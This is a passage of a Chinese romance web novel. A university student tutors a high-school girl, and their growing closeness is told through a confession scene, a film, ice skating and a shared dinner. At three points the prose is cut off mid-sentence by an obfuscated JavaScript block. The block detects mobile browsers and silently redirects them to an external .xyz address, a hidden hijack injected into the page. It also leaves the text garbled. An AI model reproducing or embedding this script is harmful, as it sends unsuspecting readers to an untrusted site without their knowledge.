谭茗有点儿担心薄晚照会不会是被原生家庭影响了,潜意识逃避这些,“阿姨不是说教,就是聊聊,虽然说感情也不是什么必需品,但有时候缘分到了,也不用刻意去回避,大大方方面对就好。” 薄晚照点点头,中规中矩:“嗯。” 她总是不动声色,太会藏情绪了,很难让人猜得透真实想法。 “那你现在有喜欢的人吗?” 越灿又抬了抬头,一声不吭地听着。 谭茗这时目光转向越灿,“你听得这么起劲干嘛?” 12.第 12 章 “你现在可不能想,学习为重。”谭茗顺带警告一下越灿,“听到没?” “我没想。”越灿无奈,解释过八百遍自己对谈恋爱没兴趣,可谭茗还是日常怀疑她有早恋趋势。 谭茗看薄晚照的反应淡淡,“没有?” 薄晚照如实回答:“嗯,暂时也不考虑这些。” “也好。你一向都有计划。”谭茗想了想,以薄晚照的性格,至少要等工作稳定以后才会考虑感情的事,毕竟事业才是底气和安全感的来源。她深知薄晚照跟其他女孩不一样,薄晚照身上的束缚和枷锁太多,选择太少,哪怕是在该自由任性的年纪,也没办法任性。 补习到傍晚结束,谭茗本来还想留薄晚照在家吃晚餐,但薄晚照说还有事,没有留下。她一方面不想太麻烦谭茗,另一方面她的确有事,晚上要去一趟城西的疗养院…… 她去疗养院的频率变得越来越低,或许,她去不去都无所谓了。 - 枯槁的手像藤蔓一样缠住脖颈,将人拽进无尽的黑暗深渊。薄晚照在强烈的下坠感中惊醒,不安,伴随心跳剧烈,她盯着泛黄开裂的天花板,很快恢复冷静。 从梦魇中醒来,她习以为常。 时间还早,天空将亮未亮的。薄晚照知道自己睡不着了,索性起床洗漱。她睡眠质量向来糟糕,即便服用褪黑素和安眠药也效果平平,反而更容易做噩梦。 今日晴朗,但阳光的温热透不进室内,被冷漠隔离在外,房间的空气依然阴凉湿冷。 薄晚照洗了个冷水脸刺激神经清醒,她站在镜子前,视线定格在脖颈上,一道道的伤痕醒目,一夜过后,颜色沉淀成了扎眼的青紫。 她不太在意,也没特意遮挡。大概是从小就习惯了,身上带着各种各样的伤。 早起的清晨能做很多事,薄晚照一直忙到八点多,然后手机收到一条微信消息。 她思忖片刻,起身出门。 薄晚照走到巷口,给她发微信的人已经到了,昨天打电话的也是这位。对方是跟她一个课题组的同窗,这学期交集比较多。 因为某些缘故,薄晚照从大学起就不住校,一直神龙见首不见尾,几乎没人知道她租住的地方。直到上次课题组聚餐,大家一起拼车回去,别人才知道她就住在学校附近的小区。 “资料带来了……”年轻男人手里拿着杯咖啡,目光落在薄晚照颈上,他话锋一转,“你脖子怎么了,受伤了?” “没什么。” “看起来很严重,怎么回事?” 面对询问,薄晚照反应很淡,对方也察觉到了薄晚照不想说,又问:“你今天有空吗?” 薄晚照没问缘由,直接回答“没有空”。 “你周末也不休息的,这样身体能吃得消吗?”男人又递过咖啡,“路过顺手买了杯,看你上次也喝的这款。” 薄晚照不接,而是开门见山问:“你找我有其他事?” “也没什么事。就是,你要是有困难,可以跟我说,我觉得你一个女孩这样挺累的,如果有需要帮助的地方……” 薄晚照知道这人,听说是个富二代,她直接打断他的话,“为什么要帮我?” 如果一个人无缘无故要给你什么,那很大程度上,是想从你身上拿走什么。现实早早就教会了她这个道理。 “作为同学,互相帮助互相照顾一下,也是人之常情吧?” “你喜欢我?”薄晚照句句直击重点。 对方见直接说开了,也不再含蓄,笑了笑:“你看出来了?” “挺明显的。”薄晚照淡定回答。她心中有数,否则这人也用不着找各种借口见面,她今天过来碰面,是想一次性把话说清楚。 “行,那我直说了,我是喜欢你很久了。” …… 越灿站在边上不起眼的角落,已经好一会儿,她没想到一下车就撞见薄晚照这牵扯不清的场面,似乎还表白上了? 表白的那方看起来很自信:“……能给个机会吗?你不用过得这么累,我想照顾你,真心的。” 薄晚照则维持着不喜不怒的表情,礼貌听对方说完,她看看对方手里的咖啡,平静说道:“你觉得自己这样很浪漫很深情,还特别有骑士精神,你觉得我应该感动又感恩地接受你的感情,然后谈个恋爱,被温暖被拯救,是吗?” 对方愣住。 薄晚照眼神凉薄,“我不需要这些,你找错人了。” 越灿目不转睛盯着,看薄晚照站在太阳照不到的阴影下,她言语沉静又犀利,挺着笔直的脊背,清醒坚定。她的侧影单薄,单薄得像会被风吹折,但越灿又直观感受到了什么是强大。 结束对话,对方无趣走了。薄晚照仍站在原地,等了等,她看向越灿的方向,“你还要站多久?” 越灿:“……” 原来早被发现了。 “我不是故意偷听的,刚好碰到。”越灿朝薄晚照走去,第一时间为自己正名。她今天下车就碰到薄晚照在跟人聊天,也不好上前打扰,然后就莫名其妙目睹了一场告白的发生和惨败。 薄晚照挑眉说:“那你是有意的?” “我……”越灿心虚没接上话,与此同时,她的注意力被薄晚照脖颈上的伤痕吸引,有点严重,像是被人用力抓伤的。 薄晚照又淡淡补充:“不是怪你的意思。” 越灿:“啊?” 薄晚照转头目视前方,“走了,准备上课。” 越灿默默瞧着眼前的背 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越灿觉得薄晚照的这双眼睛厉害得可怕,好像什么都能看穿,她又想到薄晚照早上拒绝别人表白时的模样,淡漠冷静,真的好断情绝爱…… 面对面看着都能走神,薄晚照这时用手中的笔轻敲了敲她的手指。 越灿手指敏感蜷了蜷,“干嘛?” “又走神。” 越灿叹了叹气,继续一头埋进学习。 中午两人照旧一起吃饭,薄晚照似乎和以往没什么不同,都是安静,但越灿留心观察,薄晚照今天好像要更加安静…… 越灿想了想,问:“今天能休息放松半天吗?” 薄晚照抬头看她。 越灿知道问薄晚照不管用,于是顺手给谭茗发了微信,说自己最近学习太累,能不能批半天假期,想放松一下。 正好是饭点,谭茗瞧见就回复了。谭茗“批准”得很爽快,说她模考成绩进步很多,是该奖励一下。 越灿举起手机送到薄晚照眼前,“你看,我妈批准了。” 薄晚照无话可说,“嗯。” 越灿将手机放回桌上,酝酿片刻后,她朝薄晚照飞快抛出一句:“那我们下午去看电影吧?” 听到越灿说“我们”,薄晚照握着水杯的手顿了顿,越灿嘴里说的“休息放松”,是指两个人一起。 “你去吧,我不去。” 又是招牌式的拒绝…… 越灿知道薄晚照对自己的纵容后,心态发生了些微妙的变化,她悄然往薄晚照面前凑了凑,用眼神撒了个娇,“一起去行吗?” 13.第 13 章 越灿能屈能伸,倔脾气拽起来是真拽,但卖起乖来也挺乖的。她趴桌上,静静盯着面前的人,等回答。 薄晚照也看着她,薄唇闭着,没说话。 越灿霎时笑起来,知道自己的小心思得逞了。 两人订了下午两点场次的电影票,一部口碑不错的动画电影,越灿刷到朋友圈都在激情安利,听说笑点密集,又带点治愈,很适合心情低落时观看。 周末影城人多,再加上电影卖座,影厅里几乎满员。 她们今天运气不错,虽然有不少家长带了小孩,但好在大家素质合格,没有奇奇怪怪的嘈杂吵闹。 厅内一片黑暗,银幕上跃动着光影画面。 越灿看电影时喜欢吃点什么,还买了一份双人小吃套餐,超大桶爆米花和两杯饮料。电影一开始,她嘴就没闲下来。 边看电影边吃了会儿,越灿转头,然后用胳膊蹭了蹭薄晚照手臂。 薄晚照也转过头,瞧见越灿把爆米花桶送了过来,她摇摇头,继续看向前方。 没兴趣的意思,越灿继续独享,她盯着银幕若有所思,薄晚照似乎对什么都没兴趣,或许最感兴趣的是赚钱?赚钱是为了生存,也算不得是兴趣。 一堆人高分力荐的电影通常不会出错,厅内的笑声一阵接一阵,此起彼伏。越灿笑点极低,听个冷笑话都能笑抽的那种,所以这场电影让她乐得不行 。每次觉得好笑时,她有意无意地用余光瞥瞥身侧的人…… 只见薄晚照淡然坐着,看得认真,但姿势和神情都没有变过。 越灿大开眼界,这……这还是人吗?这么好笑居然都能不笑?她不知道薄晚照是因为笑点太高,还是今天心情太糟糕,或者两者都有。反正她偷瞥了好几次,就没哪次见薄晚照笑起来。 电影播了一个小时,大桶爆米花也被越灿吃了大半。 越灿笑点实在太低了,跟薄晚照形成鲜明对比,不那么好笑的片段也能笑得乐呵,完全忍不住。 薄晚照悄然扭过头,瞧见越灿笑得肩头都在颤,借着微弱闪烁的银幕光,能看到她眼睛笑得弯弯,侧脸轮廓精致漂亮。很多时候,一个人的经历会无声渗透到气质,越灿属于一看便是在阳光下长大的女孩儿,即便在幽深阴暗的环境,也掩不住天生的明媚…… 越灿又微微转头,这次余光正好碰上薄晚照的视线,在看自己? 两人目光不清不楚地短暂交汇。 薄晚照垂垂眼,伸手去拿爆米花。 越灿瞧瞧她,主动送过去。 薄晚照默默吃了颗爆米花,奶油和糖浆的香甜弥漫口腔,挺像越灿给人的印象。 越灿本以为薄晚照只是随意尝尝,没想到薄晚照竟然也开始一颗接一颗地吃起来。原来喜欢吃啊…… 两小时观影结束。 退场后。 越灿忍不住吐槽:“你笑点也太高了吧?” “难道不是你笑点太低?”薄晚照回想一下,越灿全程莫名其妙的傻笑,比电影本身的笑点更好笑。 “哪有,你没发现全场就你没笑?”越灿不服气,“你适合去参加那种什么不能笑挑战,你要拿第二,保证没人能拿第一。” 薄晚照默默等她吐槽完,“回去?” 越灿看看时间,还早,她问薄晚照:“去‘秘密基地’吗?” 薄晚照问:“什么‘秘密基地’?” 要是换个人问肯定直接拒绝了,越灿发现薄晚照对自己很双标哎,她莫名得意,“就是‘秘密基地’,你陪我去吗?” 薄晚照又没拒绝她。 二十分钟后,薄晚照被越灿带到一家叫“秘密基地”的冰场,看着店招,她有点儿无语。 越灿跟这儿的老板认识,“姐,好久不见。” “你今天怎么有空来了?快高考了吧?”庄绮梦见着小熟人,出来打着招呼。 “休息半天,来你这玩一下。” 庄绮梦是洛扬的一个表姐,前几年辞了大厂的工作,自己开了家冰场,越灿跟着洛扬她们来玩过几次,慢慢就熟悉了起来,这儿确实是她们几个放松的秘密基地。 “这位是?”庄绮梦看了看越灿身边的薄晚照。 越灿也看了眼薄晚照,本来想说“我姐”,最后一开口变成了:“我朋友。” “你这朋友好漂亮。”庄绮梦为人热情,“你好,我叫庄绮梦,这儿的老板。” “你好。”薄晚照回应打着招呼。 庄绮梦对朋友向来大方,“这么久没来了,姐姐今天请你玩啊。” 越灿笑说:“那不行,给我们打个折就好了。” “跟我客气什么。” “要总是免单,我以后都不好意思来了。” “行,给你打折,”庄绮梦顺手在越灿脸颊上捏了把,“好久不见,感觉变乖了。” 薄晚照瞧她们这样,应该关系很好。她又看了看庄绮梦,觉得有些眼熟,不过她也没多说什么。 越灿飞快瞥瞥薄晚照,一到周末就被魔鬼形影不离地管着,能不乖吗?她催着薄晚照,“走吧,我们去玩。” 薄晚照:“你玩就好。” 越灿:“你不和我一起,那跟我一个人来玩有什么区别?” 薄晚照说:“我不会。” “很容易的,我教你。”越灿自告奋勇,“免费的小美女教练。” 薄晚照:“……” 真好意思夸自己。 越灿去拉她手腕,“走了。” 周末哪都人多,显得秘密基地一点也不秘密。 越灿弯腰准备帮薄晚照绑护膝。 薄晚照极度不适应被“照顾”,她叫住越灿,“我自己来。” 越灿没让,继续帮忙细心做着防护措施。 越灿是冰场老油条了,当起教练来有模有样,当初庄绮梦怎么教她的,她就怎么教薄晚照,耐心十足。 冰刀刚踩上冰时带来强烈的不安全感,等慢慢习惯冰面,就好多了。 站在护栏边,越灿先教薄晚照在冰面行走,教着教着,她望着薄晚照嘀咕说:“你怎么学这么快啊?” 薄晚照:“学得快也不行?” 越灿:“你比我学得快,我挫败了。” 薄晚照看她,觉得好笑。等更适应冰面,能扶着护栏滑行,她跟越灿说:“你自己去玩吧。” 这就不需要自己了?越灿看她,“你没问题吗?” 薄晚照说:“差不多,我有分寸。” 莫名有种来自学霸的自信,越灿感觉薄晚照只要想学,就没什么是她学不会的。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765560|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你小心点。” “嗯。” 薄晚照就站在护栏旁,看越灿熟练溜了出去,穿梭在人与人之间,脸上带笑,像风一般自由自在。 越灿发现薄晚照在看自己,回给她一个笑颜。 薄晚照正看着,没多久有人搭讪,“美女,你一个人?” “不是。”薄晚照回答。 对方也在旁边站着,又等了会儿,“你是不是第一次滑?我可以教你……” 越灿回头瞧见这幕,立即转了个方向,几秒的功夫就遛过来了,刹在薄晚照面前。她睨一眼搭讪的人,冷冷说:“不用。” “小美女滑得挺好。” 越灿表情拽拽的不搭理,她看向薄晚照,然后朝薄晚照伸出手,“我带你滑。” 薄晚照顿在原地。 越灿自然而然地牵起她的手,一点点往前移动。 薄晚照对皮肤的触碰比常人敏感,越灿牵住她的手后,她对这份温暖的感知也比常人更强烈。 越灿考虑到薄晚照,移动的速度很慢,她始终牵着薄晚照的手,“你放心,我不会让你摔倒的。” “你不用管我,自己去玩。” “说了给你当教练。”越灿十分负责地说,她笑问,“是不是挺好玩的?我心情不好的时候就经常和朋友来这……” 两人滑行的速度很慢,悠悠逛着,薄晚照还是感觉到风轻柔抚过脸庞,有几分自在,或许这份自在的来源更多是越灿脸上恣意轻松的笑。和越灿呆在一起时,偶尔会让她产生错觉——她也是站在阳光下的人。 都玩了小半天,越灿发觉薄晚照依然没半点放松开心的感觉,她今天突然说想休息半天,自己学累了是一个原因,另一个原因是,她直觉薄晚照今天的心情很不好。 越灿这下真的挫败了,下午强拉着薄晚照出来放松,是不是太自以为是了…… “薄晚照。” 薄晚照看她口吻闷闷不乐,“怎么了?” “我这个陪玩很不合格吗?!”越灿忍无可忍,别扭说着,她盯着薄晚照的脸,“你都不笑一下的。” 薄晚照早有察觉越灿在频繁盯着自己看,一整天都是,只是她没想到,这是在努力哄人开心的意思…… “啊啊啊啊啊啊,小心小心,不好意思不好意思。” 来了个冒冒失失的新手,与薄晚照擦肩而过,撞得不重,但足以让人失去平衡。 越灿害怕她摔到,第一反应是去抱她,结果自己也失去平衡,两人一起抱着摔到在冰面上。 众目睽睽,狼狈死了。 薄晚照第一时间问:“摔到没?” 人在尴尬的时候真的会笑出来,越灿还抱着她,皱眉直笑,想把脸埋起来,“摔到了,丢脸死了。” 见她这样,薄晚照也没忍住笑,“先起来。” 越灿愣愣看着她的笑,是开心的吧…… 两人站了起来,薄晚照瞧越灿失神一言不发的,以为她摔重了,低声问:“很疼?” 越灿看她,总是对自己这么温柔干嘛,弄得不疼都想撒娇了。她目光又落在薄晚照带着伤痕的脖颈上,“你疼吗?” 薄晚照:“我没摔到。” 越灿还是小心翼翼问了:“我说脖子上的,是不是很疼?” 14.第 14 章 薄晚照听得出这句关心里的小心翼翼,她轻声回答:“不疼了。” 其余的没多说,越灿也没追着多问,她们的关系好像也没熟到可以倾诉心事的程度,虽然她承认自己怀了一丝期待——期待薄晚照会主动说些什么。 不知道是不是叛逆心理作祟,薄晚照越是一副不让人靠近的姿态,她越有种好奇心,想要靠近试试…… 可薄晚照看起来不会给人机会。 越灿挑了个无关紧要的话题说:“你还没回答我。” 薄晚照问她:“回答什么?” “我这个陪玩怎么样?”越灿想到方才两人一起摔倒时,薄晚照自然而然流露出的笑,实属罕见。 薄晚照评价:“挺专业的。” 专业?什么冷静又客观的描述。越灿冲她眨了眨眼,得意洋洋笑说:“那就是对我很满意的意思?” 薄晚照淡笑一下,不语。 越灿觉得她这人太“淡”了,从来都不会表现出浓烈的情绪,看不到她的喜欢愤怒,开心难过,在乎与不在乎。 在冰场玩了一个多小时,她们离开“秘密基地”时,已是黄昏,余晖洒在车水马龙的街道,看着像动漫里的场景,暖调治愈系。 越灿拿出手机拍一拍。 薄晚照瞧见,停下脚步等她。 “好了。”越灿随手拍了两张,又将手机揣回兜里。 两人再继续往回走,地面上斜长的影子贴在一起。越灿边走边想,或许薄晚照答应一起出来玩,更多是为了满足自己提出的要求。所以让一个心情不好的人,反过来迁就自己…… 这种行为好像挺烦人的。 越灿突然得出这个结论。她微微侧身看向薄晚照,然后没头没脑地问:“你觉得我烦吗?” 薄晚照转过头。 “要是你觉得我烦,不用什么事都依着我……”越灿继续说着,仔细一想,她似乎总是在麻烦薄晚照,而薄晚照又总是无条件地依着她。 她嘀嘀咕咕还没说完,听到薄晚照轻轻传来一声: “不觉得。” 越灿安静下来,目光停顿几秒,她瞧见夕阳落在薄晚照脸庞,一片柔和,有些好看。她分不清这是薄晚照的实话,还是一种敷衍回复,毕竟就算薄晚照觉得烦,也不会直接说出来。 - 翌日中午,越灿和钟然在食堂对付午饭。 钟然看着碗里肉片可以忽略不计的胡萝卜炒肉,哀嚎连连:“都要成兔子了,吃来吃去就这几个菜,日子一点盼头都没有。” “再坚持一个半月就有盼头了。”越灿也生无可恋吃着饭。 “你周末真应该跟我们一起去看电影的……”钟然没胆拉着洛扬在家看大尺度女女电影,两人最后去了电影院。趁吃饭时间,她津津有味同越灿说起周末看的那档电影。 正好是那部高口碑的动画电影,越灿挑着碗里的姜丝,顺口说:“我昨天下午去看了,是挺好看的。” “你昨天下午去看电影了?”钟然发现了盲点,“你不是说要补课吗?” “学累了放松半天不行?” 钟然满脸问号,“上周我求你请半天假,你怎么说的?一副沉迷学习,走火入魔的样子。” “……” 越灿想起,是有点理亏。 “你跟谁去看的?”钟然又发现了另一个盲点,她嚷嚷起来,“为什么我约你你不出来,别人就行?” 越灿:“临时决定去看的。” “所以你是跟谁去的?”钟然敏感,想到近期越灿种种的一反常态,很难不怀疑,“灿啊,你是不是有人了?” 越灿无奈打断钟然即将发散的思绪,“你想多了。” “跟我有什么不好意思说的?我给你保密。”钟然凑近,眼神更八卦了,还大胆推测,“你是不是喜欢上了一个学霸?” 越灿:“……” 钟然脑子里也就装着这些事了。 “所以……”钟然已经高速脑补出一堆,“昨天下午你逃课约会去了?这么浪漫?” “你在脑补什么啊。”越灿满脸嫌弃,直接告诉钟然,“跟薄晚照去的。” “薄晚照?家教居然还能陪看电影?这么好吗?”钟然知道薄晚照名字,之前死缠烂打从越灿嘴里问出来的,她睁大眼睛,眼底全是羡慕,“这什么神仙家教啊。” “不是,我跟她关系比较复杂……”越灿想了想,跟钟然大概解释了一下,是因为谭茗,她才和薄晚照熟悉。至于资助这种更细节的事,她没跟钟然说,薄晚照也不爱对外提及私事。 钟然听后,“那她就相当于你姐姐?” 越灿想想,“可以这么说吧,但不算很熟。” 钟然想到寒假的时候越灿还用“魔鬼”来形容薄晚照,现在完全换了种态度,“所以你现在补课跟她补出感情来了?” 越灿抿抿唇,这句话从钟然嘴里蹦出来就听着很不正经。不过这两个月她对薄晚照,的确亲近了许多…… 薄晚照平时总是照顾她,她反过来对薄晚照好点,也是应该的。 - 五月小考过后,高考倒计时不足三十天。气温逐步升高,夏天的气息越来越近。 外面的暖空气似乎终于穿透墙壁,出租屋里的空气不那么阴凉了。巷子里的风从陈旧的窗户吹进房间,有阵阵暖意。 上次一起去了冰场后,越灿觉得她和薄晚照的关系,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777765|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些像南夏五月的天气,在渐渐“变暖” ,更熟络了些。 除了讲课听课,越灿偶尔跟薄晚照说笑,要是她走神,薄晚照会用笔轻敲她脑袋,再提醒一句“认真点”。 五月月考越灿又提了三十分,她感觉自己现在都快要跻身好学生队伍了。 窗外吹来的风吹得试卷轻轻作响,薄晚照手中拿着试卷仔细看着,照旧考后复盘。 越灿在一旁等着,无聊玩手里的笔,而薄晚照垂眸查阅着试卷,始终没说话。她按捺不住,主动友情提示:“我比上次又高了三十分。” 薄晚照还低着头,“嗯。” 越灿抿嘴,然后提醒得更加直白:“你不夸一下吗?” 薄晚照合了合手里的卷子,看她。 越灿继续叨叨:“上回二模你就没夸我。”她记得一清二楚,她特意把成绩单一起夹进试卷里,等了好久,也没从薄晚照嘴里听到一句夸赞的话。 薄晚照:“不错,每次都有进步。” 越灿唇抿得更紧了点,这是夸人?就差把敷衍写脸上了。她有什么说什么,“你这夸得也太敷衍了吧?” 薄晚照将手里的试卷放下,问:“怎么夸才不敷衍?” “比如……” 越灿若有所思。 薄晚照看着她眼睛,“比如?” 越灿对视上对面投来的目光,她心血来潮,唇边扬了扬,柔声说着:“宝贝,很棒,继续加油。” 薄晚照:“……” 她盯着越灿,眉头微微皱了下。 越灿望着薄晚照一本正经的神情,瞬间笑得灿烂。皮一下,很开心,人都要笑抽了。 薄晚照眼神转了转,就静静看着她笑。 越灿很擅长得寸进尺,还嘟囔催促:“你说啊……”说完,她巴巴望着薄晚照,等着对方开口似的,嘴角和眼眸全是倾泻的笑意。 薄晚照似笑非笑,她凝视越灿笑弯弧度的双眼,慢慢悠悠地问:“今天心情不错?” 越灿点点头,“还可以。”虽然每次逗薄晚照,薄晚照反应都淡定,但她就是觉得有意思。 薄晚照:“既然心情好,那今天晚上再加两个课时,多做两套题?” ??? 越灿笑容明显僵了僵。 薄晚照则从容看着她,永远那副处变不惊的模样。 越灿:“薄晚照。” 薄晚照:“嗯?” 越灿:“你魔鬼……” 薄晚照垂头,继续翻看另一张试卷。 越灿看见魔鬼垂头时,唇边似乎勾了勾……过分了吧!她拿过一边的错题集翻看,翻了两页后…… “晚上加两个课时也可以。” 15.第 15 章 薄晚照以为自己听错了。 越灿想,如果钟然知道自己补课还主动提出加课,估计又要吐槽不对劲了。其实她也觉得自己挺不对劲的…… “如果高考考好点儿,我的毕业旅行经费能更充足。”越灿玩着手里的笔,解释道。 薄晚照听她说完,“可以,我有空。” “嗯。”越灿应了应,就算刚刚不追加解释,估计薄晚照也不会问更多。薄晚照的处事风格一贯如此,很有分寸,不会过多暴露自己的想法,也不会去好奇别人的事儿。 一个人太有分寸感,也是种变相的冷漠。 或许是被身边的学霸潜移默化了,再加上这两个月成绩上的正反馈比较多,越灿学起来也没那么痛苦,不像寒假那会儿,让她学一天堪比坐牢般煎熬,现在她在书桌前坐上一天,时间流淌得不知不觉。 又一个不知不觉,暮色降临。 到了晚饭的点,薄晚照问:“晚上要吃什么?” 越灿懒洋洋活动着僵硬的脖颈,伸手揉揉,语气也懒懒的:“跟你一样就行。” 薄晚照想了下,又问她:“有想吃的菜吗?” 越灿:“自己做?” 薄晚照:“嗯。” 出租屋的厨房很小,转身都有些局促,但满足日常需求没问题。之前很长一段时间,薄晚照都是自己做饭,不过母亲冯芹搬走以后,她都是在外面解决,平时在学校吃食堂比较多。一个人生活,随意就能对付一顿,自己买菜做饭反而更费时费力。 小区外有个生鲜小店,买菜还算方便。越灿跟着一起去了,她一蹭饭的,说吃什么都可以。 薄晚照随意挑了些新鲜的食材,刚好够两个人一顿的量。 买完菜往回走,天空变成了鸦青色,夜色降临的前奏,黑暗正悄无声息地吞掉光亮,这种感觉最为压抑,薄晚照是这样觉得。 在巷子里越灿又遇着了“熟人”,她饶有兴致地打招呼,“脏脏包。” 小猫停下脚步应了一声,已经习惯了这个名字。 越灿跟这只小三花猫最投缘,小猫聪明又亲人,每次路上碰到,都要来蹭蹭越灿鞋边。 爱屋及乌,脏脏包蹭完越灿又去蹭一旁的薄晚照。 越灿看看反应平淡的薄晚照,又服气了,居然有人拒绝得了小猫撒娇。她想,可能薄晚照只“拒绝”不了自己的撒娇吧…… 越灿跟变魔术一样,从口袋里掏出一小袋猫零食,蹲下来,投喂小可爱。 薄晚照瞥见,“你随身带着?” “是啊,以防被拦路打劫。”越灿抬头,发出邀请,“你要来喂一下吗?” 薄晚照垂着眼眸,摇摇头。 邀请失败,越灿放弃,继续喂自己的猫,乐在其中。 薄晚照有时怀疑越灿坚持要来自己这补课,就是相中了巷子里的这几只流浪猫。 她们回去时正好碰上邻居家的周奶奶,“买菜做饭呀。” “嗯。”薄晚照微笑打着招呼,“您身体好了吗?” “好了,住院给我闷的哦。”周奶奶之前一直住院养病,这是第一次碰见越灿,面生,她笑容慈祥地询问道,“这个小姑娘是谁?” 越灿瞄一眼薄晚照,好奇怎么介绍。 薄晚照淡语:“我妹妹。” 越灿第一次听到薄晚照这么称呼自己,看来不管自己叫不叫她“姐姐”,她都会把自己当妹妹照顾。果然是无条件迁就。 “奶奶好。”越灿笑着打招呼。 “哎,小姑娘嘴真甜,你还有个妹妹啊,姐妹俩都这么漂亮……”周奶奶看着薄晚照,眼神带了点心疼,感叹一声,“有人陪,挺好。” 薄晚照礼貌一笑而过。 从老太太的话里听得出来,薄晚照一直是孤身一人。 一楼采光不好,比室外阴沉得更快。薄晚照进屋开了灯,走去小厨房,洗手准备做饭。 越灿也走了进去,想要帮忙。 薄晚照:“你出去,很快就好。” 越灿说:“洗个菜还是会的。” 薄晚照便由她。 小厨房勉强能挤进两个人,越灿在水池边一片一片洗着青菜叶子,薄晚照在一旁低头切菜,她瞧见薄晚照刀工熟练,干脆利落。 越灿视线在薄晚照手上多停留了会儿,薄晚照衣袖挽起,露出了手腕和小臂,上面有好些疤痕。 一转眼的工夫,薄晚照菜都切好了,她余光扫见越灿在看自己,“这有什么好看的?” “你手上的……”越灿嘴快先问了出来,然后才想起薄晚照是个浑身秘密的人,并且抵触被问及秘密。所以她没说完,话又戛然而止。 “小时候弄的。”薄晚照没什么特别的反应,一句话轻飘飘带过,她瞥了瞥越灿手里拿着的一片菜叶子,“洗好了吗?” “还没……我再洗一遍。” 薄晚照让她在那慢慢洗,自己先炒菜,三下五除二,一盘青椒肉丝就炒好了。越灿加快了点速度,把洗好的青菜递过去。 两人合作,晚餐不到半小时搞定,菜上桌时,米饭也刚好蒸好。一个青椒肉丝,一个香菇青菜,都很家常。 越灿嘴算挑的,但这顿饭她完全没意见,吃了几口后,她好奇问薄晚照:“你有不擅长的事吗?” 烧菜也这么好吃,简直全能。 “这是在夸我?”薄晚照慢条斯理送了口米饭到嘴里,她看越灿一口接一口吃得香,似乎很合胃口。 “是啊。”越灿从不刻意奉承,实话实说,“好好吃。” 薄晚照:“那多吃点。” 越灿厚脸皮说:“你不应该说‘以后常来’吗?” 薄晚照无声看看她。 越灿笑得有点儿调皮,“你不欢迎我啊?” 轻松的笑声在空气中漫开,薄晚照发觉越灿真的很容易开心,一点小事就能乐上好一会儿。 越灿确实爱笑,因为她,出租屋里的欢声笑语都多了起来。 起初薄晚照还不太适应这种改变,似乎这间屋子的气氛总是沉闷压抑才对,后来越灿来得多了,她习惯不少。 越灿跟谭茗汇报了晚上加课的事,谭茗又在出差,工作忙得焦头烂额,得知宝贝女儿竟然不用操心,自觉学习,都快欣慰得泪目了。 晚间在做题讲题中度过。从早晨学到深夜,越灿实在遭不住这么高强度的勤奋,渐渐疲倦昏沉。 薄晚照看她眼皮都快打架了,硬撑效率也低,“今天就到这,回去休息。” 越灿不再逞强,决定知难而退。有电话进来,她顺手接通,是一直负责接送她的司机唐姐,说家里小孩生病,她腾不出时间过来。 “……没事,那你就别过来了,我自己回去。” 越灿挂断电话。 薄晚照:“没人来接?” 越灿说:“唐姐家里有事,来不了。” “我送你回去,太晚了。” 十点过一刻,也不算太晚。 不过越灿知道薄晚照肯定不会让自己一个人回去,但如果薄晚照送她回去然后又回来,得是半夜了,她想到外边那条连路灯都没几个的深巷,氛围都能拍惊悚片了,万一有什么危险…… 越灿的脑补能力很强,光想想都后怕。 “要么,我不回去了。”越灿看看漆黑的窗外,跟薄晚照商量说,“反正明天也要过来。” “也可以。”薄晚照低声道。她又想起上次越灿在这边过夜的情形,她本以为越灿来过一次,就再也不会来第二次,结果……越灿成了她这边的常客。 第二次在这边留宿,越灿轻车熟路很多,上次的洗漱用品都还在,挺方便的。 还是像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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越灿心大,不认床,又是一夜好眠。 她没有定闹钟的习惯,平时在家都是胡姨叫她起床,醒来时她也不知道是几点,觉得怀里暖烘烘的……她惺忪睁眼,瞥见薄晚照近在眼前的睡脸,以为自己还在睡梦里。 盯着薄晚照的脸看了好几秒,越灿才迷迷糊糊反应过来,这不是梦。薄晚照还抱着她,手臂搂在她腰间,没有要醒来的意思。 越灿即刻清醒了,她大概做梦都梦不到,薄晚照会这样亲密地抱着人睡觉…… 她继续盯着薄晚照的脸,这么多年,她从来没见过薄晚照这样一面,完全陌生的,丝毫没有平时拒人千里的疏离感。 薄晚照眉心皱了皱。越灿以为她要醒来,但没有,她察觉到薄晚照身体在轻微颤抖,像是做了噩梦。 越灿侧身,试着用手心抚着后背,轻轻安慰。似乎有效果。 薄晚照寻着体温,本能贴近,拥抱更深了,而拥抱让睡眠和情绪都安稳。 越灿僵了片刻,没将人叫醒,而是继续让薄晚照抱着。也许她自以为是了,她觉得薄晚照可能需要拥抱。 她知道薄晚照足够强大,但再强大的人,受了伤也会难过吧。虽然她对薄晚照了解不算深,但她很清楚薄晚照远不是表面上那样岁月静好,岁月静好下,其实藏了一身伤痕累累。 